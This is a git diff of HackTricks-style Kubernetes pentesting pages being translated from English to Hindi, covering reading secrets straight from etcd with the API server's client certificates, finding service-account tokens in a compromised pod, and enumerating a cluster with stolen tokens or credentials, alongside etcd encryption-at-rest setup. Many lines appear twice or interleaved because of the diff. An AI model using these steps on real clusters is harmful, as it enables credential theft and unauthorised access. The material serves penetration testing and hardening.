**etcd** एक सुसंगत और अत्यधिक उपलब्ध **की-मान भंडार** है जिसका उपयोग Kubernetes द्वारा सभी क्लस्टर डेटा के लिए बैकिंग स्टोर के रूप में किया जाता है। चलिए etcd में संग्रहीत रहस्यों तक पहुँचते हैं:
|
||||
```bash
|
||||
cat /etc/kubernetes/manifests/kube-apiserver.yaml | grep etcd
|
||||
```
|
||||
|
||||
You will see certs, keys and url’s were are located in the FS. Once you get it, you would be able to connect to etcd.
|
||||
|
||||
आप देखेंगे कि सर्ट्स, कीज़ और यूआरएल फ़ाइल सिस्टम में कहां स्थित हैं। एक बार जब आप इसे प्राप्त कर लेते हैं, तो आप etcd से कनेक्ट करने में सक्षम होंगे।
|
||||
```bash
|
||||
#ETCDCTL_API=3 etcdctl --cert <path to client.crt> --key <path to client.ket> --cacert <path to CA.cert> endpoint=[<ip:port>] health
|
||||
|
||||
ETCDCTL_API=3 etcdctl --cert /etc/kubernetes/pki/apiserver-etcd-client.crt --key /etc/kubernetes/pki/apiserver-etcd-client.key --cacert /etc/kubernetes/pki/etcd/etcd/ca.cert endpoint=[127.0.0.1:1234] health
|
||||
```
|
||||
|
||||
Once you achieve establish communication you would be able to get the secrets:
|
||||
|
||||
एक बार जब आप संचार स्थापित कर लेते हैं, तो आप रहस्यों को प्राप्त करने में सक्षम होंगे:
|
||||
```bash
|
||||
#ETCDCTL_API=3 etcdctl --cert <path to client.crt> --key <path to client.ket> --cacert <path to CA.cert> endpoint=[<ip:port>] get <path/to/secret>
|
||||
|
||||
ETCDCTL_API=3 etcdctl --cert /etc/kubernetes/pki/apiserver-etcd-client.crt --key /etc/kubernetes/pki/apiserver-etcd-client.key --cacert /etc/kubernetes/pki/etcd/etcd/ca.cert endpoint=[127.0.0.1:1234] get /registry/secrets/default/secret_02
|
||||
```
|
||||
**ETCD में एन्क्रिप्शन जोड़ना**
|
||||
|
||||
**Adding encryption to the ETCD**
|
||||
|
||||
By default all the secrets are **stored in plain** text inside etcd unless you apply an encryption layer. The following example is based on [https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/](https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/)
|
||||
|
||||
डिफ़ॉल्ट रूप से सभी रहस्य **सादा** पाठ में etcd के अंदर संग्रहीत होते हैं जब तक कि आप एक एन्क्रिप्शन परत लागू नहीं करते। निम्नलिखित उदाहरण [https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/](https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/) पर आधारित है।
|
||||
```yaml:encryption.yaml
|
||||
apiVersion: apiserver.config.k8s.io/v1
|
||||
kind: EncryptionConfiguration
|
||||
resources:
|
||||
- resources:
|
||||
- secrets
|
||||
providers:
|
||||
- aescbc:
|
||||
keys:
|
||||
- name: key1
|
||||
secret: cjjPMcWpTPKhAdieVtd+KhG4NN+N6e3NmBPMXJvbfrY= #Any random key
|
||||
- identity: {}
|
||||
- resources:
|
||||
- secrets
|
||||
providers:
|
||||
- aescbc:
|
||||
keys:
|
||||
- name: key1
|
||||
secret: cjjPMcWpTPKhAdieVtd+KhG4NN+N6e3NmBPMXJvbfrY= #Any random key
|
||||
- identity: {}
|
||||
```
|
||||
|
||||
After that, you need to set the `--encryption-provider-config` flag on the `kube-apiserver` to point to the location of the created config file. You can modify `/etc/kubernetes/manifest/kube-apiserver.yaml` and add the following lines:
|
||||
|
||||
उसके बाद, आपको `kube-apiserver` पर `--encryption-provider-config` ध्वज सेट करना होगा ताकि यह बनाए गए कॉन्फ़िग फ़ाइल के स्थान की ओर इशारा करे। आप `/etc/kubernetes/manifest/kube-apiserver.yaml` को संशोधित कर सकते हैं और निम्नलिखित पंक्तियाँ जोड़ सकते हैं:
|
||||
```yaml
|
||||
containers:
|
||||
- command:
|
||||
- kube-apiserver
|
||||
- --encriyption-provider-config=/etc/kubernetes/etcd/<configFile.yaml>
|
||||
- command:
|
||||
- kube-apiserver
|
||||
- --encriyption-provider-config=/etc/kubernetes/etcd/<configFile.yaml>
|
||||
```
|
||||
|
||||
Scroll down in the volumeMounts:
|
||||
|
||||
नीचे स्क्रॉल करें volumeMounts में:
|
||||
```yaml
|
||||
- mountPath: /etc/kubernetes/etcd
|
||||
name: etcd
|
||||
readOnly: true
|
||||
name: etcd
|
||||
readOnly: true
|
||||
```
|
||||
|
||||
Scroll down in the volumeMounts to hostPath:
|
||||
|
||||
नीचे volumeMounts में hostPath पर स्क्रॉल करें:
|
||||
```yaml
|
||||
- hostPath:
|
||||
path: /etc/kubernetes/etcd
|
||||
type: DirectoryOrCreate
|
||||
name: etcd
|
||||
path: /etc/kubernetes/etcd
|
||||
type: DirectoryOrCreate
|
||||
name: etcd
|
||||
```
|
||||
**डेटा के एन्क्रिप्ट होने की पुष्टि करना**
|
||||
|
||||
डेटा को etcd में लिखते समय एन्क्रिप्ट किया जाता है। अपने `kube-apiserver` को पुनरारंभ करने के बाद, कोई भी नया या अपडेट किया गया सीक्रेट संग्रहीत करते समय एन्क्रिप्ट किया जाना चाहिए। जांचने के लिए, आप अपने सीक्रेट की सामग्री प्राप्त करने के लिए `etcdctl` कमांड लाइन प्रोग्राम का उपयोग कर सकते हैं।
|
||||
|
||||
1. `default` नामस्थान में `secret1` नामक एक नया सीक्रेट बनाएं:
|
||||
|
||||
```
|
||||
kubectl create secret generic secret1 -n default --from-literal=mykey=mydata
|
||||
```
|
||||
|
||||
**Verifying that data is encrypted**
|
||||
2. etcdctl कमांडलाइन का उपयोग करके, उस सीक्रेट को etcd से पढ़ें:
|
||||
|
||||
Data is encrypted when written to etcd. After restarting your `kube-apiserver`, any newly created or updated secret should be encrypted when stored. To check, you can use the `etcdctl` command line program to retrieve the contents of your secret.
|
||||
`ETCDCTL_API=3 etcdctl get /registry/secrets/default/secret1 [...] | hexdump -C`
|
||||
|
||||
1. Create a new secret called `secret1` in the `default` namespace:
|
||||
जहां `[...]` आदि सर्वर से कनेक्ट करने के लिए अतिरिक्त तर्क होना चाहिए।
|
||||
|
||||
```
|
||||
kubectl create secret generic secret1 -n default --from-literal=mykey=mydata
|
||||
```
|
||||
3. पुष्टि करें कि संग्रहीत सीक्रेट `k8s:enc:aescbc:v1:` से प्रारंभ होता है, जो इंगित करता है कि `aescbc` प्रदाता ने परिणामी डेटा को एन्क्रिप्ट किया है।
|
||||
4. पुष्टि करें कि API के माध्यम से प्राप्त करते समय सीक्रेट सही ढंग से डिक्रिप्ट किया गया है:
|
||||
|
||||
2. Using the etcdctl commandline, read that secret out of etcd:
|
||||
```
|
||||
kubectl describe secret secret1 -n default
|
||||
```
|
||||
|
||||
`ETCDCTL_API=3 etcdctl get /registry/secrets/default/secret1 [...] | hexdump -C`
|
||||
|
||||
where `[...]` must be the additional arguments for connecting to the etcd server.
|
||||
|
||||
3. Verify the stored secret is prefixed with `k8s:enc:aescbc:v1:` which indicates the `aescbc` provider has encrypted the resulting data.
|
||||
4. Verify the secret is correctly decrypted when retrieved via the API:
|
||||
|
||||
```
|
||||
kubectl describe secret secret1 -n default
|
||||
```
|
||||
|
||||
should match `mykey: bXlkYXRh`, mydata is encoded, check [decoding a secret](https://kubernetes.io/docs/concepts/configuration/secret#decoding-a-secret) to completely decode the secret.
|
||||
|
||||
**Since secrets are encrypted on write, performing an update on a secret will encrypt that content:**
|
||||
को `mykey: bXlkYXRh` से मेल खाना चाहिए, mydata को एन्कोड किया गया है, पूरी तरह से सीक्रेट को डिक्रिप्ट करने के लिए [एक सीक्रेट को डिक्रिप्ट करना](https://kubernetes.io/docs/concepts/configuration/secret#decoding-a-secret) की जांच करें।
|
||||
|
||||
**चूंकि सीक्रेट लिखने पर एन्क्रिप्ट होते हैं, इसलिए एक सीक्रेट पर अपडेट करना उस सामग्री को एन्क्रिप्ट करेगा:**
|
||||
```
|
||||
kubectl get secrets --all-namespaces -o json | kubectl replace -f -
|
||||
```
|
||||
**अंतिम सुझाव:**
|
||||
|
||||
**Final tips:**
|
||||
|
||||
- Try not to keep secrets in the FS, get them from other places.
|
||||
- Check out [https://www.vaultproject.io/](https://www.vaultproject.io) for add more protection to your secrets.
|
||||
- FS में रहस्य रखने से बचें, उन्हें अन्य स्थानों से प्राप्त करें।
|
||||
- अपने रहस्यों को और अधिक सुरक्षा देने के लिए [https://www.vaultproject.io/](https://www.vaultproject.io) पर जाएं।
|
||||
- [https://kubernetes.io/docs/concepts/configuration/secret/#risks](https://kubernetes.io/docs/concepts/configuration/secret/#risks)
|
||||
- [https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm](https://docs.cyberark.com/Product-Doc/OnlineHelp/AAM-DAP/11.2/en/Content/Integrations/Kubernetes_deployApplicationsConjur-k8s-Secrets.htm)
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
{{#ref}}
|
||||
https://sickrov.github.io/
|
||||
@@ -567,7 +523,3 @@ https://www.youtube.com/watch?v=X48VuDVv0do
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,91 +4,86 @@
|
||||
|
||||
## Kubernetes Tokens
|
||||
|
||||
If you have compromised access to a machine the user may have access to some Kubernetes platform. The token is usually located in a file pointed by the **env var `KUBECONFIG`** or **inside `~/.kube`**.
|
||||
यदि आपके पास किसी मशीन तक समझौता किया गया पहुंच है, तो उपयोगकर्ता के पास कुछ Kubernetes प्लेटफ़ॉर्म तक पहुंच हो सकती है। टोकन आमतौर पर **env var `KUBECONFIG`** द्वारा इंगित फ़ाइल में या **`~/.kube`** के अंदर स्थित होता है।
|
||||
|
||||
In this folder you might find config files with **tokens and configurations to connect to the API server**. In this folder you can also find a cache folder with information previously retrieved.
|
||||
इस फ़ोल्डर में आप **API सर्वर से कनेक्ट करने के लिए टोकन और कॉन्फ़िगरेशन के साथ कॉन्फ़िग फ़ाइलें** पा सकते हैं। इस फ़ोल्डर में आपको पहले से प्राप्त जानकारी के साथ एक कैश फ़ोल्डर भी मिल सकता है।
|
||||
|
||||
If you have compromised a pod inside a kubernetes environment, there are other places where you can find tokens and information about the current K8 env:
|
||||
यदि आपने Kubernetes वातावरण के अंदर एक पॉड से समझौता किया है, तो अन्य स्थान हैं जहाँ आप टोकन और वर्तमान K8 वातावरण के बारे में जानकारी पा सकते हैं:
|
||||
|
||||
### Service Account Tokens
|
||||
|
||||
Before continuing, if you don't know what is a service in Kubernetes I would suggest you to **follow this link and read at least the information about Kubernetes architecture.**
|
||||
जारी रखने से पहले, यदि आप नहीं जानते कि Kubernetes में सेवा क्या है, तो मैं आपको **इस लिंक का पालन करने और कम से कम Kubernetes आर्किटेक्चर के बारे में जानकारी पढ़ने की सलाह दूंगा।**
|
||||
|
||||
Taken from the Kubernetes [documentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server):
|
||||
Kubernetes [दस्तावेज़ीकरण](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server) से लिया गया:
|
||||
|
||||
_“When you create a pod, if you do not specify a service account, it is automatically assigned the_ default _service account in the same namespace.”_
|
||||
_“जब आप एक पॉड बनाते हैं, यदि आप एक सेवा खाता निर्दिष्ट नहीं करते हैं, तो इसे स्वचालित रूप से उसी नामस्थान में डिफ़ॉल्ट सेवा खाते को सौंपा जाता है।”_
|
||||
|
||||
**ServiceAccount** is an object managed by Kubernetes and used to provide an identity for processes that run in a pod.\
|
||||
Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token (JWT), a method for representing claims securely between two parties.
|
||||
**ServiceAccount** एक वस्तु है जिसे Kubernetes द्वारा प्रबंधित किया जाता है और यह पॉड में चलने वाली प्रक्रियाओं के लिए एक पहचान प्रदान करने के लिए उपयोग किया जाता है।\
|
||||
प्रत्येक सेवा खाते से संबंधित एक गुप्त होता है और इस गुप्त में एक बियरर टोकन होता है। यह एक JSON वेब टोकन (JWT) है, जो दो पक्षों के बीच दावों का सुरक्षित रूप से प्रतिनिधित्व करने का एक तरीका है।
|
||||
|
||||
Usually **one** of the directories:
|
||||
आमतौर पर **एक** निर्देशिका:
|
||||
|
||||
- `/run/secrets/kubernetes.io/serviceaccount`
|
||||
- `/var/run/secrets/kubernetes.io/serviceaccount`
|
||||
- `/secrets/kubernetes.io/serviceaccount`
|
||||
|
||||
contain the files:
|
||||
इन फ़ाइलों को शामिल करती हैं:
|
||||
|
||||
- **ca.crt**: It's the ca certificate to check kubernetes communications
|
||||
- **namespace**: It indicates the current namespace
|
||||
- **token**: It contains the **service token** of the current pod.
|
||||
- **ca.crt**: यह Kubernetes संचार की जांच के लिए ca प्रमाणपत्र है
|
||||
- **namespace**: यह वर्तमान नामस्थान को इंगित करता है
|
||||
- **token**: इसमें वर्तमान पॉड का **सेवा टोकन** होता है।
|
||||
|
||||
Now that you have the token, you can find the API server inside the environment variable **`KUBECONFIG`**. For more info run `(env | set) | grep -i "kuber|kube`**`"`**
|
||||
अब जब आपके पास टोकन है, तो आप वातावरण चर **`KUBECONFIG`** के अंदर API सर्वर पा सकते हैं। अधिक जानकारी के लिए चलाएँ `(env | set) | grep -i "kuber|kube`**`"`**
|
||||
|
||||
The service account token is being signed by the key residing in the file **sa.key** and validated by **sa.pub**.
|
||||
सेवा खाता टोकन उस कुंजी द्वारा हस्ताक्षरित होता है जो फ़ाइल **sa.key** में स्थित होती है और **sa.pub** द्वारा मान्य होती है।
|
||||
|
||||
Default location on **Kubernetes**:
|
||||
**Kubernetes** पर डिफ़ॉल्ट स्थान:
|
||||
|
||||
- /etc/kubernetes/pki
|
||||
|
||||
Default location on **Minikube**:
|
||||
**Minikube** पर डिफ़ॉल्ट स्थान:
|
||||
|
||||
- /var/lib/localkube/certs
|
||||
|
||||
### Hot Pods
|
||||
|
||||
_**Hot pods are**_ pods containing a privileged service account token. A privileged service account token is a token that has permission to do privileged tasks such as listing secrets, creating pods, etc.
|
||||
_**हॉट पॉड्स**_ ऐसे पॉड होते हैं जिनमें एक विशेषाधिकार प्राप्त सेवा खाता टोकन होता है। एक विशेषाधिकार प्राप्त सेवा खाता टोकन वह टोकन है जिसमें विशेषाधिकार प्राप्त कार्य करने की अनुमति होती है जैसे कि गुप्त सूची बनाना, पॉड बनाना, आदि।
|
||||
|
||||
## RBAC
|
||||
|
||||
If you don't know what is **RBAC**, **read this section**.
|
||||
यदि आप नहीं जानते कि **RBAC** क्या है, तो **इस अनुभाग को पढ़ें**।
|
||||
|
||||
## GUI Applications
|
||||
|
||||
- **k9s**: A GUI that enumerates a kubernetes cluster from the terminal. Check the commands in[https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/). Write `:namespace` and select all to then search resources in all the namespaces.
|
||||
- **k8slens**: It offers some free trial days: [https://k8slens.dev/](https://k8slens.dev/)
|
||||
- **k9s**: एक GUI जो टर्मिनल से एक Kubernetes क्लस्टर को सूचीबद्ध करता है। [https://k9scli.io/topics/commands/](https://k9scli.io/topics/commands/) में कमांड देखें। `:namespace` लिखें और सभी का चयन करें ताकि फिर सभी नामस्थानों में संसाधनों की खोज की जा सके।
|
||||
- **k8slens**: यह कुछ मुफ्त परीक्षण दिनों की पेशकश करता है: [https://k8slens.dev/](https://k8slens.dev/)
|
||||
|
||||
## Enumeration CheatSheet
|
||||
|
||||
In order to enumerate a K8s environment you need a couple of this:
|
||||
K8s वातावरण को सूचीबद्ध करने के लिए आपको इनमें से कुछ की आवश्यकता है:
|
||||
|
||||
- A **valid authentication token**. In the previous section we saw where to search for a user token and for a service account token.
|
||||
- The **address (**_**https://host:port**_**) of the Kubernetes API**. This can be usually found in the environment variables and/or in the kube config file.
|
||||
- **Optional**: The **ca.crt to verify the API server**. This can be found in the same places the token can be found. This is useful to verify the API server certificate, but using `--insecure-skip-tls-verify` with `kubectl` or `-k` with `curl` you won't need this.
|
||||
- एक **मान्य प्रमाणीकरण टोकन**। पिछले अनुभाग में हमने उपयोगकर्ता टोकन और सेवा खाता टोकन के लिए कहाँ खोजें, देखा।
|
||||
- **Kubernetes API का **पता (**_**https://host:port**_**)**। यह आमतौर पर वातावरण चर और/या kube कॉन्फ़िग फ़ाइल में पाया जा सकता है।
|
||||
- **वैकल्पिक**: **API सर्वर को सत्यापित करने के लिए ca.crt**। यह उसी स्थानों पर पाया जा सकता है जहाँ टोकन पाया जा सकता है। यह API सर्वर प्रमाणपत्र को सत्यापित करने के लिए उपयोगी है, लेकिन `kubectl` के साथ `--insecure-skip-tls-verify` या `curl` के साथ `-k` का उपयोग करते समय आपको इसकी आवश्यकता नहीं होगी।
|
||||
|
||||
With those details you can **enumerate kubernetes**. If the **API** for some reason is **accessible** through the **Internet**, you can just download that info and enumerate the platform from your host.
|
||||
इन विवरणों के साथ आप **Kubernetes को सूचीबद्ध** कर सकते हैं। यदि **API** किसी कारण से **इंटरनेट** के माध्यम से **सुलभ** है, तो आप बस उस जानकारी को डाउनलोड कर सकते हैं और अपने होस्ट से प्लेटफ़ॉर्म को सूचीबद्ध कर सकते हैं।
|
||||
|
||||
However, usually the **API server is inside an internal network**, therefore you will need to **create a tunnel** through the compromised machine to access it from your machine, or you can **upload the** [**kubectl**](https://kubernetes.io/docs/tasks/tools/install-kubectl-linux/#install-kubectl-binary-with-curl-on-linux) binary, or use **`curl/wget/anything`** to perform raw HTTP requests to the API server.
|
||||
हालांकि, आमतौर पर **API सर्वर एक आंतरिक नेटवर्क के अंदर होता है**, इसलिए आपको इसे अपनी मशीन से एक्सेस करने के लिए समझौता की गई मशीन के माध्यम से **एक सुरंग** बनाने की आवश्यकता होगी, या आप **`kubectl`** बाइनरी को **अपलोड** कर सकते हैं, या **`curl/wget/anything`** का उपयोग करके API सर्वर पर कच्चे HTTP अनुरोध कर सकते हैं।
|
||||
|
||||
### Differences between `list` and `get` verbs
|
||||
|
||||
With **`get`** permissions you can access information of specific assets (_`describe` option in `kubectl`_) API:
|
||||
### `list` और `get` क्रियाओं के बीच अंतर
|
||||
|
||||
**`get`** अनुमतियों के साथ आप विशिष्ट संपत्तियों की जानकारी तक पहुँच सकते हैं (_`kubectl` में `describe` विकल्प_) API:
|
||||
```
|
||||
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
|
||||
```
|
||||
|
||||
If you have the **`list`** permission, you are allowed to execute API requests to list a type of asset (_`get` option in `kubectl`_):
|
||||
|
||||
यदि आपके पास **`list`** अनुमति है, तो आपको एक प्रकार की संपत्ति की सूची बनाने के लिए API अनुरोध निष्पादित करने की अनुमति है (_`kubectl` में `get` विकल्प_):
|
||||
```bash
|
||||
#In a namespace
|
||||
GET /apis/apps/v1/namespaces/{namespace}/deployments
|
||||
#In all namespaces
|
||||
GET /apis/apps/v1/deployments
|
||||
```
|
||||
|
||||
If you have the **`watch`** permission, you are allowed to execute API requests to monitor assets:
|
||||
|
||||
यदि आपके पास **`watch`** अनुमति है, तो आपको संपत्तियों की निगरानी के लिए API अनुरोध निष्पादित करने की अनुमति है:
|
||||
```
|
||||
GET /apis/apps/v1/deployments?watch=true
|
||||
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
|
||||
@@ -96,16 +91,14 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED]
|
||||
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED]
|
||||
GET /apis/apps/v1/watch/deployments [DEPRECATED]
|
||||
```
|
||||
|
||||
They open a streaming connection that returns you the full manifest of a Deployment whenever it changes (or when a new one is created).
|
||||
वे एक स्ट्रीमिंग कनेक्शन खोलते हैं जो आपको एक Deployment का पूरा मैनिफेस्ट लौटाता है जब भी यह बदलता है (या जब एक नया बनाया जाता है)।
|
||||
|
||||
> [!CAUTION]
|
||||
> The following `kubectl` commands indicates just how to list the objects. If you want to access the data you need to use `describe` instead of `get`
|
||||
> निम्नलिखित `kubectl` कमांड केवल यह दर्शाते हैं कि वस्तुओं को कैसे सूचीबद्ध किया जाए। यदि आप डेटा तक पहुँच प्राप्त करना चाहते हैं, तो आपको `get` के बजाय `describe` का उपयोग करना होगा।
|
||||
|
||||
### Using curl
|
||||
|
||||
From inside a pod you can use several env variables:
|
||||
|
||||
एक पॉड के अंदर, आप कई env वेरिएबल्स का उपयोग कर सकते हैं:
|
||||
```bash
|
||||
export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
|
||||
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
|
||||
@@ -115,28 +108,24 @@ export CACERT=${SERVICEACCOUNT}/ca.crt
|
||||
alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
|
||||
# if kurl is still got cert Error, using -k option to solve this.
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> By default the pod can **access** the **kube-api server** in the domain name **`kubernetes.default.svc`** and you can see the kube network in **`/etc/resolv.config`** as here you will find the address of the kubernetes DNS server (the ".1" of the same range is the kube-api endpoint).
|
||||
> डिफ़ॉल्ट रूप से, पॉड **kube-api सर्वर** को डोमेन नाम **`kubernetes.default.svc`** में **एक्सेस** कर सकता है और आप **`/etc/resolv.config`** में kube नेटवर्क देख सकते हैं, क्योंकि यहाँ आपको kubernetes DNS सर्वर का पता मिलेगा (एक ही रेंज का ".1" kube-api एंडपॉइंट है)।
|
||||
|
||||
### Using kubectl
|
||||
|
||||
Having the token and the address of the API server you use kubectl or curl to access it as indicated here:
|
||||
|
||||
By default, The APISERVER is communicating with `https://` schema
|
||||
टोकन और API सर्वर का पता होने पर, आप इसे एक्सेस करने के लिए kubectl या curl का उपयोग करते हैं जैसा कि यहाँ संकेतित है:
|
||||
|
||||
डिफ़ॉल्ट रूप से, APISERVER `https://` स्कीमा के साथ संचार कर रहा है।
|
||||
```bash
|
||||
alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces
|
||||
```
|
||||
> यदि URL में `https://` नहीं है, तो आपको Bad Request जैसी त्रुटि मिल सकती है।
|
||||
|
||||
> if no `https://` in url, you may get Error Like Bad Request.
|
||||
आप [**यहां आधिकारिक kubectl चीटशीट**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/) पा सकते हैं। निम्नलिखित अनुभागों का लक्ष्य विभिन्न विकल्पों को क्रमबद्ध तरीके से प्रस्तुत करना है ताकि आप उस नए K8s को सूचीबद्ध और समझ सकें, जिसे आपने एक्सेस किया है।
|
||||
|
||||
You can find an [**official kubectl cheatsheet here**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). The goal of the following sections is to present in ordered manner different options to enumerate and understand the new K8s you have obtained access to.
|
||||
|
||||
To find the HTTP request that `kubectl` sends you can use the parameter `-v=8`
|
||||
|
||||
#### MitM kubectl - Proxyfying kubectl
|
||||
`kubectl` द्वारा भेजे गए HTTP अनुरोध को खोजने के लिए आप पैरामीटर `-v=8` का उपयोग कर सकते हैं।
|
||||
|
||||
#### MitM kubectl - kubectl को प्रॉक्सी करना
|
||||
```bash
|
||||
# Launch burp
|
||||
# Set proxy
|
||||
@@ -145,12 +134,10 @@ export HTTPS_PROXY=http://localhost:8080
|
||||
# Launch kubectl
|
||||
kubectl get namespace --insecure-skip-tls-verify=true
|
||||
```
|
||||
|
||||
### Current Configuration
|
||||
### वर्तमान कॉन्फ़िगरेशन
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Kubectl" }}
|
||||
|
||||
```bash
|
||||
kubectl config get-users
|
||||
kubectl config get-contexts
|
||||
@@ -160,43 +147,37 @@ kubectl config current-context
|
||||
# Change namespace
|
||||
kubectl config set-context --current --namespace=<namespace>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
If you managed to steal some users credentials you can **configure them locally** using something like:
|
||||
|
||||
यदि आप कुछ उपयोगकर्ताओं के क्रेडेंशियल चुराने में सफल रहे हैं, तो आप उन्हें **स्थानीय रूप से कॉन्फ़िगर** कर सकते हैं, जैसे:
|
||||
```bash
|
||||
kubectl config set-credentials USER_NAME \
|
||||
--auth-provider=oidc \
|
||||
--auth-provider-arg=idp-issuer-url=( issuer url ) \
|
||||
--auth-provider-arg=client-id=( your client id ) \
|
||||
--auth-provider-arg=client-secret=( your client secret ) \
|
||||
--auth-provider-arg=refresh-token=( your refresh token ) \
|
||||
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
|
||||
--auth-provider-arg=id-token=( your id_token )
|
||||
--auth-provider=oidc \
|
||||
--auth-provider-arg=idp-issuer-url=( issuer url ) \
|
||||
--auth-provider-arg=client-id=( your client id ) \
|
||||
--auth-provider-arg=client-secret=( your client secret ) \
|
||||
--auth-provider-arg=refresh-token=( your refresh token ) \
|
||||
--auth-provider-arg=idp-certificate-authority=( path to your ca certificate ) \
|
||||
--auth-provider-arg=id-token=( your id_token )
|
||||
```
|
||||
### समर्थित संसाधन प्राप्त करें
|
||||
|
||||
### Get Supported Resources
|
||||
|
||||
With this info you will know all the services you can list
|
||||
इस जानकारी के साथ, आप सभी सेवाओं को जानेंगे जिन्हें आप सूचीबद्ध कर सकते हैं
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k api-resources --namespaced=true #Resources specific to a namespace
|
||||
k api-resources --namespaced=false #Resources NOT specific to a namespace
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Get Current Privileges
|
||||
### वर्तमान विशेषाधिकार प्राप्त करें
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k auth can-i --list #Get privileges in general
|
||||
k auth can-i --list -n custnamespace #Get privileves in custnamespace
|
||||
@@ -204,413 +185,342 @@ k auth can-i --list -n custnamespace #Get privileves in custnamespace
|
||||
# Get service account permissions
|
||||
k auth can-i --list --as=system:serviceaccount:<namespace>:<sa_name> -n <namespace>
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
|
||||
```bash
|
||||
kurl -i -s -k -X $'POST' \
|
||||
-H $'Content-Type: application/json' \
|
||||
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
|
||||
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
|
||||
-H $'Content-Type: application/json' \
|
||||
--data-binary $'{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"metadata\":{\"creationTimestamp\":null},\"spec\":{\"namespace\":\"default\"},\"status\":{\"resourceRules\":null,\"nonResourceRules\":null,\"incomplete\":false}}\x0a' \
|
||||
"https://$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Another way to check your privileges is using the tool: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
|
||||
अपने विशेषाधिकारों की जांच करने का एक और तरीका है उपकरण का उपयोग करना: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
|
||||
|
||||
You can learn more about **Kubernetes RBAC** in:
|
||||
आप **Kubernetes RBAC** के बारे में अधिक जान सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-role-based-access-control-rbac.md
|
||||
{{#endref}}
|
||||
|
||||
**Once you know which privileges** you have, check the following page to figure out **if you can abuse them** to escalate privileges:
|
||||
**एक बार जब आप जान लें कि आपके पास कौन से विशेषाधिकार हैं** तो निम्नलिखित पृष्ठ की जांच करें यह पता लगाने के लिए **क्या आप उनका दुरुपयोग कर सकते हैं** विशेषाधिकार बढ़ाने के लिए:
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/
|
||||
{{#endref}}
|
||||
|
||||
### Get Others roles
|
||||
### दूसरों की भूमिकाएँ प्राप्त करें
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k get roles
|
||||
k get clusterroles
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
|
||||
```bash
|
||||
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/roles?limit=500"
|
||||
kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clusterroles?limit=500"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Get namespaces
|
||||
### नामस्थान प्राप्त करें
|
||||
|
||||
Kubernetes supports **multiple virtual clusters** backed by the same physical cluster. These virtual clusters are called **namespaces**.
|
||||
Kubernetes **एक ही भौतिक क्लस्टर** द्वारा समर्थित **कई आभासी क्लस्टर** का समर्थन करता है। इन आभासी क्लस्टरों को **नामस्थान** कहा जाता है।
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="kubectl" }}
|
||||
|
||||
```bash
|
||||
k get namespaces
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="API" }}
|
||||
|
||||
```bash
|
||||
kurl -k -v https://$APISERVER/api/v1/namespaces/
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
